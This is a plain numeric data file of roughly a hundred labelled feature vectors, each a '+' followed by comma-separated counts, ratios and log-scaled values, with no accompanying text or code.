+0,0,0,0,0,0,0,0,0,0,0,6.34914,3.04452,28.55,4.23411,0,5.30256,0,0.15,0,0.105079,0.25,0,0,0,0,0,0,3.7612,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.29912,4.02535,26.8727,4.55388,0,4.73724,0.290909,0.127273,0,0.0196211,0.181818,0,0,0,0,0,0,3.43399,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.9594,3.73767,25.6585,4.38203,0,5.22973,0.219512,0.195122,0,0.0361217,0.317073,0,0,0,0,0,0,3.89182,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,1,9.15536,5.63835,33.8,5.15906,0,5.17868,0.146429,0.0857143,0,0.0540997,0.571429,0,0,0,0,0,0,4.56435,1.60944,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.77354,5.29832,32.4623,4.38203,0,4.48296,0.0854271,0.0904523,0,0.0541796,0.532663,0.693147,0,0,0,0.693147,0,3.71357,0,0,0,0,0,0,0,0,0,0,0,2.07944,0,0,0,0,0.693147,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.40914,3.93183,33,4.82831,0,5.47798,0,0.2,0,0.0818182,0.98,0,0,0,0,0,0,4.31749,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.33683,3.04452,28.2,4.23411,0,5.295,0,0.15,0,0.106383,0.25,0,0,0,0,0,0,3.7612,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.09838,3.8712,25.7234,4.41884,0,4.95676,0.0638298,0.170213,0,0.0578991,0.319149,0.693147,0,0,0,0.693147,0,4.07754,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,9.71221,6.35437,28.7753,4.81218,0,4.88575,0.182927,0.0801394,0,0.0472241,0.355401,0,0,0,0,0,0,4.02535,2.30259,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.79906,3.21888,37.3333,4.36945,0,4.95729,0.625,0.125,0,0.046875,0.333333,0,0,0,0,0,0,3.4012,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.3845,2.19722,27.125,4.23411,0,5.04318,0.125,0,0,0.0506912,0.125,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,9.39466,5.67675,41.3162,5.39816,0,5.92812,0.120275,0.0893471,0,0.030608,0.305842,2.07944,0,0,0,1.38629,4.30407,4.20469,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.3395,5.19296,23.3799,4.29046,0,5.00355,0.184358,0.100559,0.000955795,0.0712067,0.458101,0.693147,0,0,0,0.693147,0,3.91202,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,0,0,0,1,0,0,0,0,0,6.39192,2.56495,49.6667,4.47734,0,5.32936,0.416667,0.0833333,0,0.0486577,0.916667,0,0,0,0,0,0,3.2581,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.74524,3.3673,30.3214,4.47734,0,4.99934,0.142857,0.0357143,0,0.0824499,1.14286,0,0,0,0,0,0,3.82864,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.58934,4.70953,17.9636,4.39445,0,4.3957,0,0.1,0,0.0592105,0.354545,0,0,0,0,0,0,3.3673,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.28972,3.04452,26.9,4.23411,0,5.29812,0,0.2,0,0.100372,0,0,0,0,0,0,0,4.09434,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 +0,0,0,0,0,0,0,0,0,0,0,5.53339,2.19722,31.5,4.23411,0,5.11947,0.125,0,0,0.0436508,0.125,0,0,0,0,0,0,3.80666,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.37064,2.19722,26.75,4.23411,0,5.03747,0.125,0,0,0.0514019,0.125,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.632,3.43399,25.2667,4.36945,0,4.92344,0.133333,0.2,0,0.025066,0.0666667,0,0,0,0,0,0,3.63759,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.65157,3.3673,27.6071,4.23411,0,4.96863,0.142857,0.0357143,0,0.0905563,1.14286,0,0,0,0,0,0,3.55535,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.66643,2.3979,28.8,4.2485,0,4.69833,0.3,0.1,0,0.0486111,0,0,0,0,0,0,0,2.83321,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 +0,0,0,0,0,0,0,0,0,0,0,5.3845,2.19722,27.125,4.23411,0,5.02141,0.125,0,0,0.0506912,0.125,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.19644,2.63906,37.6923,4.68213,0,4.61503,0,0.0769231,0,0.0326531,0.461538,0,0,0,0,0,0,3.3673,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,1,0,0,0,0,10.0061,6.66823,28.1947,6.15486,0.00127226,5.20146,0.108142,0.103053,0,0.0583006,0.342239,1.38629,1.38629,0.693147,2.3979,1.38629,0,6.13123,2.94444,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,10.002,6.63332,29.0764,4.5326,0,4.87224,0.421607,0.0935441,0,0.031175,0.280632,0.693147,0.693147,0.693147,0,0.693147,0,4.39445,2.94444,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.06306,4.76217,27.3621,5.34711,0,5.1361,0.0603448,0.0775862,0,0.0677379,0.62931,0,0,0,0,0,0,4.77068,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.24804,2.99573,27.1579,4.18965,0,4.59519,0.157895,0.157895,0,0.0387597,0.210526,0,0,0,0,0,0,3.04452,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.7878,4.12713,39.5082,4.36945,0,5.49264,0.52459,0.0819672,0,0.020332,0.245902,0,0,0,0,0,0,4.14313,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.35186,2.07944,30,4.18965,0,5.1843,0,0,0,0.0952381,0,0,0,0,0,0,0,3.7612,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 +0,0,0,0,0,0,0,0,0,0,0,10.1573,6.97261,24.182,5.23111,0,4.7916,0.105066,0.152908,0,0.0574909,0.315197,1.60944,1.09861,0,0,1.38629,0,4.94876,3.78419,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,2.77259,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.91462,4.61512,27.36,4.38203,0,5.14924,0.32,0.11,0,0.0398392,0.21,0,0,0,0,0,0,4.38203,1.79176,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,9.00011,5.65249,28.5317,4.38203,0,5.04134,0.112676,0.109155,0,0.0609651,0.570423,0.693147,0,0,0,0.693147,0.693147,4.11087,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0.693147,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.3799,2.07944,30.8571,4.23411,0,5.21887,0,0,0,0.0925926,0,0,0,0,0,0,0,3.82864,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 +0,0,0,0,0,0,0,0,0,0,0,6.10702,2.83321,28,4.39445,0,4.90757,0.125,0.375,0,0.0535714,0,0,0,0,0,0,0,3.68888,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.29605,4.99043,27.4452,4.60517,0,4.94651,0.273973,0.0958904,0,0.0306963,0.178082,0,0,0,0,0,0,4.11087,1.94591,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.23642,4.89784,28.3835,4.52179,0,5.07238,0.203008,0.0902256,0,0.0577483,0.609023,0.693147,0,0,0,0.693147,0,4.43082,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.94716,5.26786,39.8187,5.2933,0,4.67375,0.264249,0.19171,0,0.0529603,0.751295,0,0,0,0,0,0,4.40672,0.693147,0,0,0.693147,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,9.45517,6.00141,31.6948,4.72739,0,5.42045,0.220844,0.16129,0,0.00688953,0.00496278,0,0,0,0,0,0,4.36945,2.70805,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.65277,4.70048,52.5229,5.1299,0,4.94666,0.137615,0.110092,0,0.0396507,0.266055,0,0,0,0,0,0,3.68888,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.54274,4.02535,34.2909,4.40672,0,4.8769,0.181818,0.218182,0,0.0323436,0,0,0,0,0,0,0,3.49651,1.60944,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.74417,5.26786,32.5026,4.40672,0,4.49506,0.0984456,0.0829016,0,0.0264626,0.0103627,0.693147,0,0,0,0.693147,0,4.38203,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,1,0,0,0,0,0,0,0,0,7.30452,3.89182,30.9583,4.91265,0,5.03927,0.0833333,0.1875,0,0.0410498,0.166667,1.09861,0,0,0,0.693147,0,3.91202,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.4848,2.19722,30,4.29046,0,4.99161,0.375,0.125,0,0.05,0.5,0,0,0,0,0,0,3.09104,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.14362,3.7612,30.119,4.29046,0,4.86198,0.404762,0.047619,0,0.0142292,0.0714286,0,0,0,0,0,0,4.00733,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.3799,2.19722,27,4.23411,0,5.04304,0.125,0,0,0.0509259,0.125,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,1,1,0,0,0,0,0,0,1,5.91889,2.48491,33.7273,4.31749,0,4.87193,0.181818,0.0909091,0,0.0107817,0.0909091,0,0,0,0,0,0,3.55535,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.40914,3.93183,33,4.82831,0,5.47289,0,0.2,0,0.0818182,0.98,0,0,0,0,0,0,4.31749,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.35052,4.18965,23.9385,4.49981,0,5.13751,0.153846,0.169231,0.00128535,0.0899743,0.584615,0,0,0,0,0,0,3.7612,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,9.63946,6.29527,28.3882,4.36945,0,4.91921,0.208872,0.138632,0,0.0488345,0.560074,0.693147,0,0,0,0.693147,0,3.71357,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.82871,3.21888,38.4583,4.80402,0,5.09944,0,0.166667,0,0.0704225,0.875,0.693147,0,0,0,0.693147,0.693147,4.46591,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,9.64271,6.13556,33.423,4.94876,0,5.09948,0.327549,0.143167,0,0.0208333,0.00433839,0,0,0,0,0,0,4.38203,2.63906,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.62402,2.56495,23,4.02535,0,4.88108,0,0.166667,0,0.130435,0.833333,0,0,0,0,0,0,3.29584,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,11.8208,8.16565,38.683,4.77068,0,5.1684,0.472562,0.0437873,0,0.0338704,0.000568666,2.63906,2.56495,0,0,1.38629,0,4.70953,2.70805,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,1,8.83361,5.51343,27.7733,4.48864,0,4.95367,0.295547,0.121457,0,0.0478134,0.348178,0.693147,0,0,0,0.693147,0.693147,4.07754,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.75344,3.21888,35.6667,4.80402,0,5.10122,0,0.166667,0,0.0771028,0.916667,0,0,0,0,0,0,3.85015,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.16479,5.09375,21.6914,4.31749,0,4.6616,0.179012,0.12963,0,0.0387023,0.296296,0,0,0,0,0,0,3.3673,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.60043,5.24702,28.746,5.01064,0,5.0136,0.15873,0.0952381,0,0.0438064,0.470899,1.09861,0.693147,0,0,1.09861,0,3.89182,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,1,0,0,0,0 +0,0,1,0,0,0,0,0,0,0,1,6.32972,2.63906,43.0769,4.79579,0,4.69562,0,0.153846,0,0.00714286,0,0.693147,0,0,0,0.693147,0.693147,4.23411,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.67203,3.3673,28.1786,4.29046,0,4.98387,0.142857,0.0357143,0,0.0887199,1.14286,0,0,0,0,0,0,3.55535,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.84268,3.7612,22.2857,4.35671,0,5.05448,0.214286,0.0952381,0,0.0715812,0.333333,0,0,0,0,0,0,3.04452,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.31312,4.91998,29.9706,4.43082,0,4.83576,0.198529,0.125,0,0.0404809,0.338235,0.693147,0,0,0,0.693147,0,3.71357,1.60944,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.4161,2.19722,28,4.23411,0,5.04313,0.125,0,0,0.0491071,0.125,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.89164,2.56495,30.0833,4.59512,0,5.07089,0,0.0833333,0,0.0277008,0.166667,0,0,0,0,0,0,3.63759,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,1,9.36683,6.36303,20.1952,4.77068,0,5.23489,0.0535406,0.0967185,0,0.0773112,0.476684,0,0,0,0,0,0,4.02535,2.94444,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.74457,4.35671,29.974,4.39445,0,5.02114,0.363636,0.116883,0,0.0277296,0.246753,0,0,0,0,0,0,4.30407,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,1,0,0,1,1,10.2634,6.74288,33.8418,5.04986,0,5.35772,0.105077,0.0649351,0.000313983,0.0763327,0.569067,1.09861,0.693147,0,0,1.09861,0,4.49981,3.71357,0,0,0,0,0,0,0,0,0,0,1.60944,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.27099,3.21888,22,4.20469,0,5.43859,0.375,0.208333,0,0.0378788,0.25,0,0,0,0,0,0,3.78419,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.34711,2.19722,26.125,4.23411,0,5.05316,0.125,0,0,0.0526316,0.125,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.80425,4.38203,31.0127,4.56435,0,4.71615,0.113924,0.113924,0,0.0640816,0.56962,0,0,0,0,0,0,3.97029,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,1,0,0,0,0,7.54803,4.47734,21.7931,4.33073,0,5.42365,0.0574713,0.149425,0,0.101266,0.54023,0,0,0,0,0,0,3.55535,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.76849,3.17805,37.7826,4.80402,0,5.10712,0,0.130435,0,0.0759494,0.956522,0,0,0,0,0,0,3.85015,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.29711,3.09104,25.8095,4.60517,0,5.26057,0.142857,0.190476,0,0.0627306,0.571429,0,0,0,0,0,0,3.73767,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.32615,3.04452,27.9,4.23411,0,5.29125,0,0.15,0,0.107527,0.25,0,0,0,0,0,0,3.7612,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.88307,4.58497,27.3299,4.82831,0,5.20514,0.0721649,0.164948,0,0.0743116,0.381443,0,0,0,0,0,0,4.00733,1.09861,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.01566,4.76217,26.0948,4.92725,0,5.13016,0.0603448,0.0775862,0,0.0710274,0.62931,0,0,0,0,0,0,4.77068,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,1,0,0,0,0 +0,0,1,1,0,0,0,0,0,0,1,5.9135,2.48491,33.5455,4.44265,0,4.89543,0.181818,0.0909091,0,0.0108401,0.0909091,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.64857,5.2575,29.8482,4.76217,0,5.05318,0.162304,0.125654,0,0.039993,0.39267,0,0,0,0,0,0,4.61512,1.79176,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0.693147,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.21501,5.12396,22.1257,4.27667,0,5.15555,0.221557,0.0958084,0,0.0733424,0.634731,0,0,0,0,0,0,3.17805,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.74624,5.33754,30.3671,4.47734,0,4.36823,0.0289855,0.130435,0.00381801,0.0453388,0,0,0,0,0,0,0,3.73767,2.19722,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.98854,4.77912,24.9661,4.45435,0,5.34275,0.194915,0.152542,0,0.035981,0.355932,0,0,0,0,0,0,4.18965,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.58064,3.29584,27.6923,4.29046,0,4.88048,0,0.269231,0,0.0319444,0,0.693147,0.693147,0,0,0.693147,0,3.61092,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,10.0711,6.70564,28.9816,4.83628,0,5.17904,0.345588,0.133578,0,0.0219037,0.00245098,1.09861,1.09861,0,0,1.09861,0,4.38203,3.13549,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,10.7141,7.23129,32.5735,4.89784,0,5.33014,0.275887,0.181752,0,0.0109372,0.00144823,0.693147,0.693147,0,0,0.693147,0,4.38203,3.7612,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.57147,4.23411,28.5441,4.94876,0,5.01183,0.102941,0.0882353,0,0.0664606,0.441176,0,0,0,0,0,0,4.14313,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.64639,3.3673,27.4643,4.21951,0,4.96,0.142857,0.0357143,0,0.0910273,1.14286,0,0,0,0,0,0,3.55535,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.28972,3.04452,26.9,4.23411,0,5.29479,0,0.2,0,0.100372,0,0,0,0,0,0,0,4.09434,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 +0,0,0,0,0,0,0,0,0,0,0,5.41165,2.19722,27.875,4.23411,0,5.01092,0.125,0,0,0.0493274,0.125,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.33505,3.04452,28.15,4.23411,0,5.28298,0,0.15,0,0.106572,0.25,0,0,0,0,0,0,3.7612,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.49679,5.1358,28.9822,4.35671,0,4.84679,0.118343,0.183432,0,0.0385872,0.248521,0,0,0,0,0,0,3.80666,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,9.11658,5.3845,41.9539,6.13123,0.0230415,5.04601,0.239631,0.0599078,0,0.071507,0.815668,0,0,0,0,0,0,4.33073,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,1.38629,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,10.4293,6.99026,31.1834,4.80402,0,5.4282,0.153917,0.152074,0,0.0169356,0.00184332,1.38629,1.38629,0,0,1.09861,0,4.36945,3.3673,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,1,0,0,0,0,0,0,0,0,7.30787,3.89182,31.0625,4.91265,0,5.03284,0.0833333,0.1875,0,0.0409121,0.166667,1.09861,0,0,0,0.693147,0,3.91202,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.4161,2.19722,28,4.23411,0,5.01843,0.125,0,0,0.0491071,0.125,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.45914,5.01728,31.4467,4.40672,0,4.52616,0.08,0.173333,0,0.0254399,0,1.09861,1.09861,0,1.09861,0.693147,0,3.7612,1.79176,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.74052,3.3673,30.1786,4.46591,0,4.99971,0.142857,0.0357143,0,0.0828402,1.14286,0,0,0,0,0,0,3.80666,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.75257,2.56495,26.1667,4.31749,0,4.94604,0,0.166667,0,0.11465,0.833333,0,0,0,0,0,0,3.82864,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,9.87622,6.48004,29.894,4.58497,0,4.93981,0.239631,0.105991,0,0.0469143,0.109063,1.60944,1.09861,0,0,1.60944,0,4.52179,3.04452,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.7293,4.15888,36.0794,4.55388,0,5.08893,0.349206,0.0952381,0,0.0426749,0.365079,0,0,0,0,0,0,3.2581,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 